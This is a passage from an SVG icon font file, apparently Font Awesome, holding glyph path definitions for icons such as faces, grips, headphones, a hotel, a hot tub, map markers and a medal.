d="M344 264c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM248 440c137 0 248 -111 248 -248c0 -106.3 -67 -196.7 -161 -232c5.59961 12.2002 9 25.7002 9 40v45.5c24.7002 16.2002 43.5 38.0996 47.7998 63.7998
c1.90039 11.7998 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.4004 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c4.2998 -25.7002 23.0996 -47.5996 47.7998 -63.7998v-45.5
c0 -14.2998 3.40039 -27.7998 9 -40c-94 35.2998 -161 125.7 -161 232c0 137 111 248 248 248zM192 215c8.40039 -7.40039 21.5996 -0.299805 20 10.7998c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006
c-1.7998 -11.0996 11.2998 -18.2002 19.7998 -10.7998l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM344 176c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64s28.7002 -64 64 -64zM293.1 73.4004c0.800781 -0.400391 -0.5 0.299805 19 -9.30078
v-64c0 -35.5996 -29.1992 -64.5 -64.8994 -64c-35.1006 0.400391 -63.1006 29.7002 -63.1006 64.9004v63c19.2002 9.59961 18 9 18.9004 9.40039c14.4004 6.5 31.0996 -2.2002 34.5996 -17.6006l1.80078 -7.7998c2.09961 -9.2002 15.1992 -9.2002 17.2998 0l1.7998 7.7998
c3.5 15.4004 20.2002 24.1006 34.5996 17.6006z" />
    <glyph glyph-name="grin-wink" unicode="&#xf58c;" horiz-adv-x="496" 
d="M0 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM200 240c0 17.7002 -14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32zM368 215c8.5 -7.40039 21.5996 -0.200195 20 10.7998
c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-1.7998 -11.2002 11.5 -18.2002 19.7998 -10.7998l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM124.9 127.2c-11.4004 3.7002 -22.7002 -6 -20.7002 -17.9004
c9.2998 -55 83.2002 -93.2998 143.8 -93.2998s134.6 38.2998 143.8 93.2998c1.90039 11.9004 -9.39941 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002z" />
    <glyph glyph-name="grip-horizontal" unicode="&#xf58d;" horiz-adv-x="448" 
d="M96 160c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM256 160c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64
c0 17.6699 14.3301 32 32 32h64zM416 160c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM96 352c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64
c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM256 352c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM416 352c17.6699 0 32 -14.3301 32 -32v-64
c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64z" />
    <glyph glyph-name="grip-vertical" unicode="&#xf58e;" horiz-adv-x="320" 
d="M96 416c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM96 256c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64
c0 17.6699 14.3301 32 32 32h64zM96 96c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM288 416c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64
c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM288 256c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64zM288 96c17.6699 0 32 -14.3301 32 -32v-64
c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h64z" />
    <glyph glyph-name="headphones-alt" unicode="&#xf58f;" 
d="M160 160c17.6699 0 32 -14.3496 32 -32.0596v-127.881c0 -17.6992 -14.3301 -32.0596 -32 -32.0596h-16c-35.3496 0 -64 28.71 -64 64.1201v63.7598c0 35.4199 28.6504 64.1201 64 64.1201h16zM368 160c35.3496 0 64 -28.71 64 -64.1201v-63.7598
c0 -35.4102 -28.6504 -64.1201 -64 -64.1201h-16c-17.6699 0 -32 14.3604 -32 32.0596v127.881c0 17.71 14.3301 32.0596 32 32.0596h16zM256 416c143.09 0 251.43 -119.13 256 -256v-112c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v112
c0 114.67 -93.3301 207.8 -208 207.82c-114.67 -0.0205078 -208 -93.1504 -208 -207.82v-112c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v112c4.57031 136.87 112.91 256 256 256z" />
    <glyph glyph-name="headset" unicode="&#xf590;" 
d="M192 240v-112c0 -17.6699 -14.3301 -32 -32 -32h-16c-35.3496 0 -64 28.6504 -64 64v48c0 35.3496 28.6504 64 64 64h16c17.6699 0 32 -14.3301 32 -32zM368 96h-16c-17.6699 0 -32 14.3301 -32 32v112c0 17.6699 14.3301 32 32 32h16c35.3496 0 64 -28.6504 64 -64v-48
c0 -35.3496 -28.6504 -64 -64 -64zM256 448c142.82 0 251.42 -118.83 256 -256v-165.72c0 -49.8604 -40.4199 -90.2803 -90.2803 -90.2803h-181.72c-26.5098 0 -48 21.4902 -48 48s21.4902 48 48 48h32c26.5098 0 48 -21.4902 48 -48h101.72
c23.3506 0 42.2803 18.9297 42.2803 42.2803c0 0 -0.0400391 163.29 -0.120117 165.72h0.120117c0 114.69 -93.3096 208 -208 208s-208 -93.3096 -208 -208v-16c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v16c4.58008 137.17 113.18 256 256 256z
" />
    <glyph glyph-name="highlighter" unicode="&#xf591;" horiz-adv-x="544" 
d="M0 -31.9805l68.3301 70.4707l67.04 -67.04l-35.4502 -35.4502zM124.61 208.03l41.5195 35.4395l173.34 -173.34l-35.5498 -41.6396c-9.5 -10.7705 -24.4199 -14.9805 -38.1504 -10.7803l-42.7393 13.0801l-50.8604 -50.8604l-96.2295 96.2305l50.9297 50.9395
l-13.0498 42.8301c-0.876953 2.87891 -1.58887 7.65625 -1.58887 10.665c0 9.11328 5.5459 21.4043 12.3789 27.4355zM527.92 368.73c20.5 -20.5 21.5303 -53.3906 2.34961 -75.1309l-169.949 -199.06l-169.771 169.78l199.05 169.96
c21.7402 19.1699 54.6309 18.1396 75.1201 -2.35059z" />
    <glyph glyph-name="hot-tub" unicode="&#xf593;" 
d="M414.21 270.35c-3.15039 25.3906 -14.6104 47.9707 -31.9697 62.1406c-27.7305 22.6299 -45.79 58.0498 -50.1299 97.1602c-1.09082 9.7793 6.48926 18.3496 16 18.3496h16.1201c7.98926 0 14.7295 -6.13965 15.7393 -14.3398
c3.16016 -25.4004 14.6104 -47.9805 31.9805 -62.1504c27.7295 -22.6299 45.79 -58.0498 50.1299 -97.1602c1.08008 -9.7793 -6.49023 -18.3496 -16 -18.3496h-16.1201c-8 0 -14.7295 6.13965 -15.75 14.3496zM306.21 270.35
c-3.15039 25.3906 -14.6104 47.9707 -31.9697 62.1406c-27.7305 22.6299 -45.79 58.0498 -50.1299 97.1602c-1.09082 9.7793 6.48926 18.3496 16 18.3496h16.1201c7.98926 0 14.7295 -6.13965 15.7393 -14.3398c3.16016 -25.4004 14.6104 -47.9805 31.9805 -62.1504
c27.7295 -22.6299 45.79 -58.0498 50.1299 -97.1602c1.08008 -9.7793 -6.49023 -18.3496 -16 -18.3496h-16.1201c-8 0 -14.7295 6.13965 -15.75 14.3496zM480 192c17.6699 0 32 -14.3301 32 -32v-160c0 -35.3496 -28.6504 -64 -64 -64h-384c-35.3496 0 -64 28.6504 -64 64
v224c0 35.3496 28.6504 64 64 64h42.6699h0.00292969c11.7754 0 28.9775 -5.73438 38.3975 -12.7998l110.93 -83.2002h224zM128 8v112c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM224 8v112
c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM320 8v112c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM416 8
v112c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM64 320c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64s64 -28.6504 64 -64s-28.6504 -64 -64 -64z" />
    <glyph glyph-name="hotel" unicode="&#xf594;" horiz-adv-x="576" 
d="M560 384h-16v-384h16c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-240v80c0 8.7998 -7.2002 16 -16 16h-32c-8.7998 0 -16 -7.2002 -16 -16v-80h-240c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h15.9805v384h-15.9805
c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h544c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16zM256 339.2v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004
c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998zM256 243.2v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004
c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998zM128 339.2v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004
c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998zM179.2 192c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004zM192 64h192c0 53.0195 -42.9805 96 -96 96s-96 -42.9805 -96 -96zM448 204.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM448 300.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004
c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998z" />
    <glyph glyph-name="joint" unicode="&#xf595;" horiz-adv-x="640" 
d="M444.34 266.9c-35.7803 25.0693 -60.3398 63.0098 -60.3398 106.699v66.4004c0 4.41992 3.58008 8 8 8h48c4.41992 0 8 -3.58008 8 -8v-62.3096c0 -29.0303 15.8496 -54.71 39.6602 -71.3203c35.3301 -24.6504 56.3398 -64.8203 56.3398 -108.061v-30.3096
c0 -4.41992 -3.58008 -8 -8 -8h-48c-4.41992 0 -8 3.58008 -8 8v30.3096c0 27.4307 -13.2803 52.9102 -35.6602 68.5908zM194.97 89.0195c22.3701 3.60059 45.0801 -4.30957 59.8203 -21.5098l112.72 -131.51h-88.5693c-98.6406 0 -195.29 27.7197 -278.94 80
c59.6904 37.3096 126.03 61.9297 194.97 73.0195zM553.28 360.91c54.3096 -36.4102 86.7197 -97.1602 86.7197 -162.601v-30.3096c0 -4.41992 -3.58008 -8 -8 -8h-48c-4.41992 0 -8 3.58008 -8 8v30.3096c0 50.1504 -25.21 96.6504 -67.3604 123.99
c-18.4697 11.9805 -28.6396 33.3701 -28.6396 55.3906v62.3096c0 4.41992 3.58008 8 8 8h48c4.41992 0 8 -3.58008 8 -8v-62.3096c0 -6.82031 3.61035 -12.9805 9.28027 -16.7803zM360.89 95.9502h0.108398c16.2441 0 38.0049 -10.0127 48.5723 -22.3506l117.949 -137.6
h-88.4492h-0.00292969c-16.248 0 -38.0146 10.0127 -48.5869 22.3496l-117.801 137.431c1.40039 0.0195312 53.8105 0.109375 88.21 0.169922zM616 96c13.25 0 24 -10.7402 24 -24v-112c0 -13.25 -10.75 -24 -24 -24h-17.4199h-0.00292969
c-16.248 0 -38.0146 10.0127 -48.5869 22.3496l-117.99 137.65h184z" />
    <glyph glyph-name="kiss" unicode="&#xf596;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM304 52c0 13 -13.4004 27.2998 -35.2002 36.4004
c21.7998 8.69922 35.2002 23 35.2002 36c0 19.1992 -28.7002 41.5 -71.5 44c-8.40039 1.09961 -12.2002 -11.8008 -3.59961 -15.4004l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.2002c-6.10059 -2.59961 -6 -12.2998 0 -14.7998
l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.19922c-8.5 -3.60059 -4.90039 -16.2002 3.59961 -15.4004c42.7998 2.5 71.5 24.7998 71.5 44zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32
s14.2998 -32 32 -32z" />
    <glyph glyph-name="kiss-beam" unicode="&#xf597;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM209 220.1c4.2002 -7.5 15.5996 -4 15.0996 4.5c-3.2998 42.1006 -32.1992 71.4004 -56 71.4004c-23.7998 0 -52.6992 -29.2998 -56 -71.4004
c-0.699219 -8.5 10.7002 -11.8994 14.9004 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006s23.7998 -7.90039 31.5 -21.6006zM304 52c0 13 -13.4004 27.2998 -35.2002 36.4004c21.7998 8.69922 35.2002 23 35.2002 36c0 19.1992 -28.7002 41.5 -71.5 44
c-8.40039 1.09961 -12.2002 -11.8008 -3.59961 -15.4004l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.2002c-6.10059 -2.59961 -6 -12.2998 0 -14.7998l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5
l-17 -7.19922c-8.5 -3.60059 -4.90039 -16.2002 3.59961 -15.4004c42.7998 2.5 71.5 24.7998 71.5 44zM369 220.1c4.2002 -7.5 15.5996 -4 15.0996 4.5c-3.2998 42.1006 -32.1992 71.4004 -56 71.4004c-23.7998 0 -52.6992 -29.2998 -56 -71.4004
c-0.699219 -8.5 10.8008 -11.7998 14.9004 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006s23.7998 -7.90039 31.5 -21.6006z" />
    <glyph glyph-name="kiss-wink-heart" unicode="&#xf598;" horiz-adv-x="504" 
d="M501.1 45.5c9.2002 -23.9004 -4.39941 -49.4004 -28.5 -55.7002l-83 -21.5c-5.39941 -1.39941 -10.8994 1.7998 -12.3994 7.10059l-22.9004 82.5996c-6.59961 24 8.7998 48.5996 34 52.5996c22 3.5 43.1006 -11.5996 49 -33l2.2998 -8.39941l8.40039 2.2002
c21.5996 5.59961 45.0996 -5.10059 53.0996 -25.9004zM323.5 49.5c0 0 23.5996 -83.9004 23.9004 -84.5996c-30.5 -13.4004 -64 -20.9004 -99.4004 -20.9004c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248c0 -31.7998 -6.2002 -62.0996 -17.0996 -90
c-6 1.5 -12.2002 2.7998 -18.6006 2.90039c-29.0996 49.7998 -98.0996 50.5996 -127.8 4.2998c-11.2998 -17.7002 -14.5996 -39.4004 -9 -59.7002zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM288 52
c0 13 -13.4004 27.2998 -35.2002 36.4004c21.7998 8.69922 35.2002 23 35.2002 36c0 19.1992 -28.7002 41.5 -71.5 44c-8.2002 1.19922 -12.4004 -11.7002 -3.59961 -15.4004l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.2002
c-5.7002 -2.5 -6 -12.2998 0 -14.7998l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.19922c-8.5 -3.60059 -4.90039 -16.2002 3.59961 -15.4004c42.7998 2.5 71.5 24.7998 71.5 44zM304 231l9.7002 8.5
c14.7998 13.2002 46.2002 13.2002 61 0l9.5 -8.5c8.5 -7.5 21.5 -0.299805 19.7998 10.7998c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-1.7998 -11.2002 11.5 -18.2002 19.7998 -10.7998z" />
    <glyph glyph-name="laugh" unicode="&#xf599;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 288c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 288c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32
s32 14.2998 32 32s-14.2998 32 -32 32zM256 16c73.4004 0 134 55 142.9 126c1.19922 9.59961 -6.30078 18 -15.9004 18h-270c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16z" />
    <glyph glyph-name="laugh-beam" unicode="&#xf59a;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM272 240.6c-0.700195 -8.59961 10.9004 -11.8994 15.0996 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17
c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004s-52.7002 -29.2998 -56 -71.4004zM112 240.6c-0.700195 -8.5 10.7998 -11.8994 15.0996 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006
c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004s-52.7002 -29.2998 -56 -71.4004zM398.9 142c1.19922 9.59961 -6.30078 18 -15.9004 18h-270
c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16c73.4004 0 134 55 142.9 126z" />
    <glyph glyph-name="laugh-squint" unicode="&#xf59b;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM281.8 278.3c-7.7002 -4.7002 -7.7002 -15.8994 0 -20.5996l80 -48c11.5 -6.7998 24.1006 7.59961 15.4004 18l-33.6006 40.2998l33.6006 40.2998
c8.59961 10.2998 -3.7998 24.9004 -15.4004 18zM118.8 308.3l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18l80 48c7.7998 4.7002 7.7998 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18zM398.9 142
c1.19922 9.59961 -6.30078 18 -15.9004 18h-270c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16c73.4004 0 134 55 142.9 126z" />
    <glyph glyph-name="laugh-wink" unicode="&#xf59c;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM268.1 241.9c-1.69922 -11.2002 11.5 -18.3008 19.9004 -10.9004l9.59961 8.59961c14.8008 13.2002 46.2002 13.2002 61 0l9.5 -8.5
c8.40039 -7.5 21.5 -0.299805 19.8008 10.8008c-4 25.1992 -34.2002 42.0996 -59.9004 42.0996s-55.9004 -16.9004 -59.9004 -42.0996zM168 288c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM398.9 142
c1.19922 9.59961 -6.30078 18 -15.9004 18h-270c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16c73.4004 0 134 55 142.9 126z" />
    <glyph glyph-name="luggage-cart" unicode="&#xf59d;" horiz-adv-x="640" 
d="M224 128c-17.6699 0 -32 14.3301 -32 32v160c0 17.6699 14.3301 32 32 32h32v-224h-32zM576 160c0 -17.6699 -14.3301 -32 -32 -32h-32v224h32c17.6699 0 32 -14.3301 32 -32v-160zM624 64c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-82.9404
c1.79004 -5.03027 2.94043 -10.3604 2.94043 -16c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48c0 5.63965 1.15039 10.9697 2.94043 16h-197.881c1.79004 -5.03027 2.94043 -10.3604 2.94043 -16c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48
c0 5.63965 1.15039 10.9697 2.94043 16h-82.9404c-8.83984 0 -16 7.16016 -16 16v368h-48c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h96c8.83984 0 16 -7.16016 16 -16v-368h496zM480 352v-224h-192v272c0 26.5098 21.4902 48 48 48h96
c26.5098 0 48 -21.4902 48 -48v-48zM432 352v48h-96v-48h96z" />
    <glyph glyph-name="map-marked" unicode="&#xf59f;" horiz-adv-x="576" 
d="M288 448c69.5898 0 126 -56.4102 126 -126c0 -56.2598 -82.3496 -158.8 -113.9 -196.02c-6.37988 -7.54004 -17.8096 -7.54004 -24.1992 0c-31.5508 37.2197 -113.9 139.76 -113.9 196.02c0 69.5898 56.4102 126 126 126zM20.1201 232.05l118.63 47.4502
c5.17969 -14.8799 12.4102 -30.4404 21.25 -46.4199v-233.08l-138.06 -62.8398c-10.5107 -4.2002 -21.9404 3.54004 -21.9404 14.8594v250.32c0.00292969 11.959 9.0166 25.2686 20.1201 29.71zM288 88.3301c14.0703 0 27.3799 6.17969 36.5098 16.9502
c19.6699 23.2002 40.5703 49.6299 59.4902 76.7197v-245.99l-192 64v182c18.9199 -27.0996 39.8301 -53.5195 59.4902 -76.7197c9.12988 -10.7803 22.4395 -16.96 36.5098 -16.96zM554.06 286.84c10.5107 4.2002 21.9404 -3.54004 21.9404 -14.8594v-250.32
c0 -11.9609 -9.01367 -25.2705 -20.1201 -29.71l-139.88 -55.9502v288z" />
    <glyph glyph-name="map-marked-alt" unicode="&#xf5a0;" horiz-adv-x="576" 
d="M288 448c69.5898 0 126 -56.4102 126 -126c0 -56.2598 -82.3496 -158.8 -113.9 -196.02c-6.37988 -7.54004 -17.8096 -7.54004 -24.1992 0c-31.5508 37.2197 -113.9 139.76 -113.9 196.02c0 69.5898 56.4102 126 126 126zM288 280c23.2002 0 42 18.7998 42 42
s-18.7998 42 -42 42s-42 -18.7998 -42 -42s18.7998 -42 42 -42zM20.1201 232.05l118.63 47.4502c5.17969 -14.8799 12.4102 -30.4404 21.25 -46.4199v-233.08l-138.06 -62.8398c-10.5107 -4.2002 -21.9404 3.54004 -21.9404 14.8594v250.32
c0.00292969 11.959 9.0166 25.2686 20.1201 29.71zM288 88.3301c14.0703 0 27.3799 6.17969 36.5098 16.9502c19.6699 23.2002 40.5703 49.6299 59.4902 76.7197v-245.99l-192 64v182c18.9199 -27.0996 39.8301 -53.5195 59.4902 -76.7197
c9.12988 -10.7803 22.4395 -16.96 36.5098 -16.96zM554.06 286.84c10.5107 4.2002 21.9404 -3.54004 21.9404 -14.8594v-250.32c0 -11.9609 -9.01367 -25.2705 -20.1201 -29.71l-139.88 -55.9502v288z" />
    <glyph glyph-name="marker" unicode="&#xf5a1;" 
d="M93.9502 157.97l75.3994 75.4004l128.021 -128.021l-75.4004 -75.3994c-44.8223 -44.8203 -132.335 -86.8428 -195.34 -93.7998c-15.2803 -1.69043 -28.1895 11.2295 -26.4902 26.5098l0.0302734 0.229492c7.00195 62.9189 49.0156 150.315 93.7803 195.08z
M485.49 421.49c35.3496 -35.3604 35.3496 -92.6699 0 -128.021l-165.49 -165.489l-128.02 128.02l98.4795 98.4697l-19.5898 19.5898l-87.1504 -87.1494c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6201 22.6201c-6.25 6.25 -6.25 16.3799 0 22.6299l104.12 104.12
c15.6104 15.6201 40.9404 15.6201 56.5605 0l36.5596 -36.5498l21.7598 21.7598c35.3506 35.3496 92.6699 35.3496 128.021 0z" />
    <glyph glyph-name="medal" unicode="&#xf5a2;" 
d="M223.75 317.25c-42.04 -6.55957 -79.8398 -25.6201 -109.56 -53.3896l-111.271 158.96c-7.41992 10.6094 0.160156 25.1797 13.1104 25.1797h111.149c10.0029 0 22.2959 -6.96191 27.4404 -15.54zM495.97 448c12.9502 0 20.5303 -14.5703 13.1104 -25.1797
l-111.271 -158.95c-29.7197 27.7598 -67.5195 46.8203 -109.56 53.3799l69.1299 115.21c5.78027 9.63965 16.2002 15.54 27.4404 15.54h111.149zM256 288c97.2002 0 176 -78.7998 176 -176s-78.7998 -176 -176 -176s-176 78.7998 -176 176s78.7998 176 176 176z
M348.52 130.74c6.82031 6.63965 3.05078 18.2295 -6.34961 19.5898l-52.4297 7.63965l-23.4307 47.5205c-2.10938 4.25 -6.21973 6.38965 -10.3291 6.38965c-4.09082 0 -8.1709 -2.11035 -10.2803 -6.38965l-23.4307 -47.5205l-52.4297 -7.63965
c-9.39941 -1.36035 -13.1699 -12.9502 -6.34961 -19.5898l37.9297 -36.96l-8.96973 -52.2207c-1.60059 -9.34961 8.25 -16.54 16.6494 -12.0898l46.9004 24.6504l46.9102 -24.6504c8.38965 -4.41992 18.25 2.73047 16.6494 12.0898l-8.96973 52.2207z" />
    <glyph glyph-name="meh-blank" unicode="&#xf5a4;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32
s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="meh-rolling-eyes" unicode="&#xf5a5;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM88 224c0 -35.2998 28.7002 -64 64 -64s64 28.7002 64 64c0 24.2998 -13.7002 45.2002 -33.5996 56c0.699219 -2.59961 1.59961 -5.2002 1.59961 -8
c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c0 2.7998 0.900391 5.40039 1.59961 8c-19.8994 -10.7998 -33.5996 -31.7002 -33.5996 -56zM312 48c21.2002 0 21.2002 32 0 32h-128c-21.2002 0 -21.2002 -32 0 -32h128zM344 160c35.2998 0 64 28.7002 64 64
c0 24.2998 -13.7002 45.2002 -33.5996 56c0.699219 -2.59961 1.59961 -5.2002 1.59961 -8c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c0 2.7998 0.900391 5.40039 1.59961 8c-19.8994 -10.7998 -33.5996 -31.7002 -33.5996 -56c0 -35.2998 28.7002 -64 64 -64z
